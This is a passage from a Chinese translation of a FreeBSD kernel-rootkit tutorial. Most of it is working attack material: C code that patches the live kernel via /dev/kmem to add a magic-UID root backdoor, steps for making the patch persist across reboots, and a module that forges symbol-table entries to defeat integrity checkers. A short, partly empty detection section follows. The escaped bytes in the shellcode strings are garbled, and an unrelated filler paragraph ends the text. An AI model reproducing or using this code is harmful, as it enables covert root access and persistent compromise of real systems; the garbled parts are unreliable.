= ASU;
return (0);
}
除非你是一个assembler person ,请看一下,你可以注意到%eax存贮着cred ,%edx 存储着proc 结构,基本我们想改成这样
if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID))
return (EPERM);
现在我们要找一个地方去存放上面的代码,用printf的地址吧,printf的作用就是在suser_xxx在被错误调用时才有用,现在我们假设
没有人仔细看着它的屏幕;),看看汇编代码中,所有错误的返回都是这样 把EPERM =1 放到 %eax 中c019d553: mov $0x1,%eax
看一下uid=!0的测试,跳转到c019d553.
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax)
c019d569: 75 e8 jne c019d553 //75 表示 jne 向上跳转到偏移e8,e8是个负数-16
我们看一下我们将要放置新代码的printf处 (10个字节)
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0
现在我们需要修改跳转地址 75 表示 jne 向上跳转到偏移e8,e8是个负数-16
现在我们就要修改printf地址的代码并添加我们自己的check了(cred->cr_uid != MAGIC_UID) 首先我们用 jmp 0x7(来跳过这个
检查)当它被“正常调用时“不出错,就是在(!cred && !proc)的测试中,然后添加我们的检验代码
jmp 0x07 eb 07 /* 跳过检查 */
cmpl $magic,0x4(%eax) 83 78 04 magic /* 检察MAGIC_UID */
je 0x39 74 39 /* 跳到结束 */
nop 90 /* 用来填充的字节 */
nop 90
现在修改 c019d569 地址出的 75 e8 为 75 e0(后退8个字节) 实际跳转到了cmpl $magic,0x4(%eax) 这里来执行
我们把它整合到一块,我的特定的MAGIC_UID=100;
#include
#include
#include
#include
#include
#define MAGIC_ADDR 0xc019d549
#define MAKE_OR_ADDR 0xc019d569
unsigned char magic[] = "xebx07" /* jmp 06 */
"x83x78x04x00" /* cmpl $magic,0x4(%eax) */
"x74x39" /* je to end */
"x90x90" /* filling nop */
;
unsigned char makeor[] = "x75xe0"; /* jne e0 */
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
u_int32_t magic_addr = MAGIC_ADDR;
u_int32_t makeor_addr = MAKE_OR_ADDR;
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %sn",errbuf);
exit(-1);
}
if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
在direct/fix_suser_xxx.c 可能你会见到轻微的改动 ,它要求uid<256
现在你可以copy /sbin/ping 到你的目录下测试一下:)
5.越过重启
显然当重启后我们的模块奖不能在使用,所以我们可以把我们的模块启动sh
脚本放在/usr/local/etc/rc.d/ (这个目录可以改变通过
rc.conf:),其实放在loader.conf也不错)当然必须安全级别调整之前执行。
如果你通过上面的/dev/kmem直接改变了内核的代码,你可以把这些改变直接写进/kernel(hu,hu),我没有查elf的相关文档,但是看上
去重定向地址应该是/kernel内的偏移+0xc0100000,在你写你的内核时,请测试先。在direct/fix_suser_xxx_kernel.c 有个同样
的例子。
6. 实战
在先前的例子中,所有的符号地址都来自/dev/kmem,但是它确切的出处在哪里呢?它在内核中经常变化。这些符号存储在elf hash 表
里面,每个连入内核的文件(object)都有它自己的符号表,在exp/symtable.c 有个例子 它在linker_files队列中查找第一个
命名为kernel的条目,函数名被hash了,并被重新获得,符号找到之后它的value就可以改变了。
int
set_symbol(struct proc *p, struct set_symbol_args *uap)
{
linker_file_t lf;
elf_file_t ef;
unsigned long symnum;
const Elf_Sym* symp = NULL;
Elf_Sym new_symp;
const char *strp;
unsigned long hash;
caddr_t address;
int error = 0;
mod_debug("Set symbol %s address 0x%xn",uap->name,uap->address);
lf = TAILQ_FIRST(&linker_files);
ef = lf->priv;
/* First, search hashed global symbols */参见elf鉴别
hash = elf_hash(uap->name); //通过对名字hash可以加快寻找速度,
symnum = ef->buckets[hash % ef->nbuckets];//
while (symnum != STN_UNDEF) {
if (symnum >= ef->nchains) {
printf("link_elf_lookup_symbol: corrupt symbol tablen");
return ENOENT;
}
symp = ef->symtab + symnum; //symtab节是静态符号节
if (symp->st_name == 0) { //符号名字索引
printf("link_elf_lookup_symbol: corrupt symbol tablen");
return ENOENT;
}
strp = ef->strtab + symp->st_name; //符号名节
if (!strcmp(uap->name, strp)) {
/* found the symbol with the given name */
if (symp->st_shndx != SHN_UNDEF
//关联的索引
(symp->st_value != 0 && ELF_ST_TYPE(symp->st_info) == STT_FUNC )) { //符号类型,关联一个函数
/* give some debug info */
address = (caddr_t) ef->address + symp->st_value;
//符号的地址 =模块的地址+st_value st_value表示文件偏移
mod_debug("found %s at 0x%x!n",uap->name,(uintptr_t)address);
bcopy(symp,&new_symp,sizeof(Elf_Sym));
new_symp.st_value = uap->address; //改变成新的地址
address = (caddr_t) ef->address + new_symp.st_value;
mod_debug("new address is 0x%xn",(uintptr_t)address);
/* set the address */
bcopy(&new_symp,(ef->symtab + symnum),sizeof(Elf_Sym));
break;
break;
} else
return(ENOENT);
}
symnum = ef->chains[symnum];
}
/* for now this only looks at the global symbol table */
return(error);
}
symtable是一个单独的模块,它将加载上面用过的所有系统调用,你可以通过set_sym工具来测试,它将击败tool/checkcall
7. 保护你自己:猫和老鼠的游戏。
现在你可能要问,如何防止你的系统发生这种情况,也许你有兴趣与找到你自己:)
下面我们来看几种检测的方法:
7.1 检查符号表
在上面的例子中,我们看到了系统调用表被修改了,所以你可以检查系统调用表来发现修改,一种方法就是,在系统启动时加载一个
包含有特殊目的的系统调用的模块,这个系统调用用来检查并与先前保存系统调用表对比。
上面的方法很通用,但是启它的表被修改了呢?当然你可以添加更多别的表的检查,这种方法是不能检测到jump这种方法和
直接修改内核的方法。
你应该通过/dev/kmem 监察系统调用表,在tools/checkcall有个例子,它带有两个参数,一个是syscall的名字,还有一个就是
系统调用号,以此载系统调用表中来检查。
但是这样还是有问题,比如利用在实战节中我们介绍的方法,我们只能得到错误的地址,下面的例子中将用来证明,假如我们
加载了CY,现在假如我们想要检查open这个系统调用,SYS_open的系统调用号为5,定义于/sys/sys/syscall.h
我们作如下检测
# tools/checkcall open 5
Checking syscall 5: open
sysent is 0x4 at 0xc03b7308
sysent[5] is at 0xc03b7330 and will go to function at 0xc0cd5bf4
ALERT! It should go to 0xc01ce5f8 instead
当然我们通过setsym来修复这个问题,当然你需要首先加载symtable这个模块
# exp/setsym 0xc0cd5bf4 open
现在再用checkcall检查,不会出现ALERT了,它假设open就是在0xc0cd5bf4,但是故事并没有结束,我们可以通过实际检查kernel
来证实objdump -d /kernel --start-address=0xc0cd5bf4 我们就会怀疑这个系统调用的地址过高,objdump在这个地址却没有
发现任何东西,暗示有问题了。这表明你的内核或者objdump被文件重向了,然而这将会引起一点小的争论。
7.2 陷阱模块
另外的你可以做的就是加在一个模块用来纪录kldload的调用,然后判断是拒绝还是加载,在trapmod/有个例子,你可以用非隐藏的方式
加载这个模块,当然在安全级别提升前。
7.3
。。。。。。。
7.4 概论
。。
8.结论
正如你所见到的,很多攻击的技术同样可以用来防御,通常隐藏一个用来管理的模块很重要,作为一个系统管理员隐藏一些用来检测入侵
的shell和文件是必要的。如果你是个freebsd系统管理员,应该时刻意识到即使系统处在一个高的安全级别也有很多需要注意的地方。
这篇文章可以让你学到更多的kernel works , 这是最重要的;)
9.代码
文中提到的所有代码都可以在Curious Yellow 包中找到 (地址:http://www.r4k.net/mod/cyellow-0.01.tar.gz
xfocus也有)
10. References
FreeBSD
Exploiting Kernel buffer overflows FreeBSD Style by Esa Etelavuori
Attacking FreeBSD with Kernel Modules - The System Call Approach by pragmatic/THC
Dynamic Kernel Linker (KLD) Facility Programming Tutorial by Andrew Reiter
Linux
Runtime Kernel Kmem Patching by Silvio Cesare
Inspiriation :)
Jeff Noon, "The Vurt"
11. Thanks
Thanks go to:
Job de Haas for getting me interested in this whole stuff
Olaf Erb for checking the article for readability :)
and especially Alex Le Heux
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
关键词:玩转freebsd内核模块